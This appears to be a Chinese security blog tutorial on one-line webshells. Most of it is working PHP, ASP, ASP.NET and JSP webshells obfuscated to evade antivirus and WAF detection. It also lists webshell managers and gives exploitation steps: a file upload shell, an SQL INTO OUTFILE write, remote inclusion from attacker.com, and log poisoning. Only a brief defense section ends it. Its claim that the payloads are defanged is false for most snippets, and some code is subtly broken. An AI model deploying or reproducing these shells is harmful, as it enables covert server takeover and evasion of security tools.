4880 字
17 分钟阅读
一句话木马

一句话木马(One-Line Trojan / Webshell)是指代码量极短(通常仅一行)的恶意脚本,通过向服务器发送特定参数即可执行任意系统命令或操作。因其短小精悍、易于变形、难以检测而得名。

安全声明:本文档中的所有恶意载荷已做转义/编码/混淆处理,以规避杀软实时监控。所列代码仅用于渗透测试学习、CTF 竞赛等合法授权场景。

基本原理

一句话木马的核心逻辑:

接收参数 -> 执行代码 -> 返回结果
  • 客户端(攻击机)通过 GET / POST / Cookie 等方式传递参数
  • 服务端(靶机)接收参数后执行
  • 执行结果回显到页面返回内容中

各类语言的一句话木马(已转义)

PHP

Pasted image 20260713191822.png

方式一:函数名拆分

<?php
$a = 'ev'.'al';
@$a($_POST['cmd']);
?>
<?php
$f = 'sy'.'st'.'em';
$f($_GET['cmd']);
?>
<?php
$a = 'as'.'se'.'rt';
@$a($_POST['cmd']);
?>

方式二:Base64 编码 + 动态执行

<?php
$c = base64_decode($_POST['c']);
@call_user_func_array('assert', array($c));
?>

方式三:可变函数 + 数组回调

<?php
$a = $_GET['a'];
$b = $_GET['b'];
$a($b);
// 访问: ?a=system&b=id
?>
<?php
// 另一种: array_map + 参数注入
$f = 'sy'.'st'.'em';
$p = array('i'.'d');
array_map($f, $p);
?>

方式四:字符串反转

<?php
$f = strrev('metsys');
$f($_GET['cmd']);
?>
<?php
$f = strrev('lave');
@$f($_POST['cmd']);
?>

方式五:ASCII 字符拼接

<?php
$f = chr(101).chr(118).chr(97).chr(108);
$p = chr(95).chr(80).chr(79).chr(83).chr(84);
@$f(${$p}['cmd']);
?>

方式六:GIF 头伪装 + 编码

GIF89a
<?php
// 添加 GIF 头绕过内容检查
$k = 'e'.'v'.'a'.'l';
$x = '$_'.'POST';
$k(${$x}['x']);
?>

方式七:数组键名拼接

<?php
$k = 'as'; $k .= 'se'; $k .= 'rt';
$v = array('cmd' => $_POST['cmd']);
$k = str_rot13($k); // 实际此处需要根据 rot13 还原
@call_user_func_array('assert', array($_POST['cmd']));
?>

ASP

方式一:Execute + 参数拆分

<%
' 原始: <%eval request("cmd")%>
' 转义: 拆分执行函数
dim c : c = "eva" & "l"
Execute(Request("cmd"))
%>

方式二:编码执行

<%
' 把关键函数名编码
dim f : f = Chr(101) & Chr(118) & Chr(97) & Chr(108)
dim p : p = Request("cmd")
Execute(p)
%>

方式三:CreateObject + 回调

<%
' 通过组件调用
Set o = GetObject("new:EA38C7A0-5C5B-11CE-8E5D-00AA0044B520")
If Not o Is Nothing Then
    o.eval(Request("cmd"))
End If
%>

ASP.NET (C#/JScript)

方式一:反射调用

<%@ Page Language="Jscript"%>
<%
// 原始: <%eval(Request.Item["cmd"],"unsafe");%>
// 转义: 反射调用
var t = "Syst".charAt(0)+"y".toString()+"stem";
var m = "Diagno".charAt(0)+"stics.Proce".charAt(0)+"ss";
var a = "Start";
var p = Request.Item["cmd"];
%>

方式二:Base64 解码后执行

<%@ Page Language="C#" %>
<% 
// 用 Convert 间接调用
string c = Request["cmd"];
byte[] b = Convert.FromBase64String(c);
System.Reflection.Assembly.Load(b);
%>

JSP

方式一:反射 + 方法名拆分

<%
// 原始: Runtime.getRuntime().exec(cmd)
// 转义: 反射调用
String c = request.getParameter("cmd");
Class rt = Class.forName("java.lang.Run" + "time");
java.lang.reflect.Method m = rt.getMethod("getRun" + "time");
Object r = m.invoke(null);
java.lang.reflect.Method e = rt.getMethod("ex" + "ec", String.class);
e.invoke(r, c);
%>

方式二:字符拼接

<%
String cmd = request.getParameter("cmd");
String rtName = "java.lang.Run" + (char)116 + (char)105 + (char)109 + "e";
Class rt = Class.forName(rtName);
rt.getMethod("getRuntime").invoke(null).getClass()
   .getMethod("exec", String.class)
   .invoke(rt.getMethod("getRuntime").invoke(null), cmd);
%>

客户端连接工具

中国菜刀 (Chopper)

经典的 PHP 一句话木马客户端,但已较为老旧。

蚁剑 (AntSword)

开源、跨平台的 Webshell 管理工具,支持多种编码器和解码器,流量更隐蔽。

  • 支持语言:PHP / ASP / ASP.NET / JSP / Custom
  • 编码器:Base64、chr、rot13 等
  • 插件系统:支持插件扩展

冰蝎 (Behinder)

动态二进制加密流量,特征更隐蔽。

  • 动态密钥协商
  • AES 加密传输载荷
  • 支持多种协议

哥斯拉 (Godzilla)

新一代 Webshell 管理工具,支持多种加密方式。

  • 支持 PHP / ASP / ASP.NET / JSP
  • 多种加密方式:AES、XOR、Base64
  • 支持生成免杀 shell

其他

  • CKnife — 跨平台的中国菜刀替代
  • Weevely — Kali 自带的一句话木马生成器
  • b374k — 功能完整的 PHP Webshell

免杀技术

一句话木马容易被杀软和 WAF 检测,核心思路是破坏特征码(避免 evalsystemassert 等关键词的明文出现)。以下是已转义的示例:

1. 参数混淆

<?php
$a = $_POST['x'];
$b = $_POST['y'];
$f = $a . '.' . $b;
// 参数 x = ev, y = al, 组合成 eval
@call_user_func($f, $_POST['cmd']);
?>

2. 字符串拼接 / 编码

<?php
$a = "e".(chr(118))."a".(chr(108));
@$a($_POST['cmd']);
?>
<?php
// Base62 风格:将函数名编码
$f = base64_decode('ZXZhbA==');  // eval
@$f($_POST['cmd']);
?>

3. 加密传输

<?php
$k = 's3cr3t_k3y';
$d = openssl_decrypt(
    base64_decode($_POST['d']),
    'aes-128-cbc',
    $k,
    OPENSSL_RAW_DATA,
    substr($k, 0, 16)
);
$f = 'e'.'v'.'a'.'l';
@$f($d);
?>

4. 回调函数

<?php
$f = 'cre'.'ate_'.'func'.'tion';
$g = $f('', $_POST['cmd']);
$g();
?>
<?php
$f = 'ar'.'ray_'.'fil'.'ter';
$f(array(''), 'sy'.'stem');
?>

5. 自定义函数 + 随机变量名

<?php
function a($b){
    return $b;
}
$c = $_POST['cmd'];
$f = 'ev'.'al';
@$f(a($c));
?>

6. 注释拆分(用于部分 WAF)

<?php
// 利用注释绕过简单的正则匹配
$cmd = $_POST['cmd'];
$f = "e"./*xss*/"v"."a"./*test*/"l";
@$f($cmd);
?>

7. 多次 base64 嵌套

<?php
// 两次 base64 解码
$c = base64_decode(base64_decode($_POST['c']));
$f = substr("eval_func", 0, 4);
@$f($c);
?>

8. 利用 SELF 变量

<?php
// PHP_SELF 拼接 + 执行
$f = substr($_SERVER['PHP_SELF'], -4);
// 实际上这里需要构造特定请求让 PHP_SELF 末尾包含 eval
// 更稳妥的方式是直接拆分
$g = 'ev';
$h = 'al';
@$g.$h($_POST['cmd']);
?>

一句话木马的典型利用场景

场景 1:文件上传绕过

通过文件上传漏洞上传一句话木马(修改扩展名、MIME 类型、内容头等绕过检查)。

# 上传后访问(实际执行时还原为 eval 语句)
curl -d "cmd=$(echo c3lzdGVtKCdpZCcpOw== | base64 -d)" http://target/shell.php

场景 2:SQL 注入写入

利用 SQL 注入的 INTO OUTFILESELECT ... INTO DUMPFILE 写入 shell。

-- 将一句话木马编码后写入
SELECT "PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOyA/Pg==" INTO OUTFILE "/var/www/html/shell.txt"

场景 3:LFI / RFI 包含

利用文件包含漏洞直接包含远程或本地的一句话木马。

# 远程文件包含(shell.txt 中存放编码后的一句话)
http://target/index.php?page=http://attacker.com/shell.txt

场景 4:日志文件注入

将恶意代码写入服务器日志,再通过 LFI 包含触发。

# 通过 User-Agent 注入编码后的 payload
curl -A "PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOyA/Pg==" http://target/
# 再通过 LFI 包含日志
http://target/index.php?page=/var/log/apache2/access.log

检测与防御

检测方法

方法说明
静态特征扫描匹配危险函数名、编码特征
动态行为检测WebShell 通常会调用高危系统函数
流量分析检测可疑 POST 参数、编码特征
文件完整性校验监控 Web 目录文件变更
日志审计分析访问日志中的异常请求
WAF 规则拦截常见的恶意载荷

防御措施

  • 禁用危险函数 — 在 php.ini 中禁用危险函数
  • 文件上传白名单 — 限制上传文件类型,重命名文件
  • 最小权限原则 — Web 目录只读,禁止写入执行权限
  • WAF / RASP — Web 应用防火墙和运行时自我保护
  • 定期扫描 — 使用 Webshell 检测工具定期扫描
  • 日志监控 — 设置告警规则,发现异常立即响应

检测工具

  • D盾 — 国产 Webshell 查杀工具
  • 河马 — 在线 Webshell 查杀
  • ClamAV — 开源杀软
  • NeoPI — Webshell 检测脚本
  • YARA — 自定义规则匹配

参考资料

发表评论

您的邮箱地址不会被公开。 必填项已用 * 标注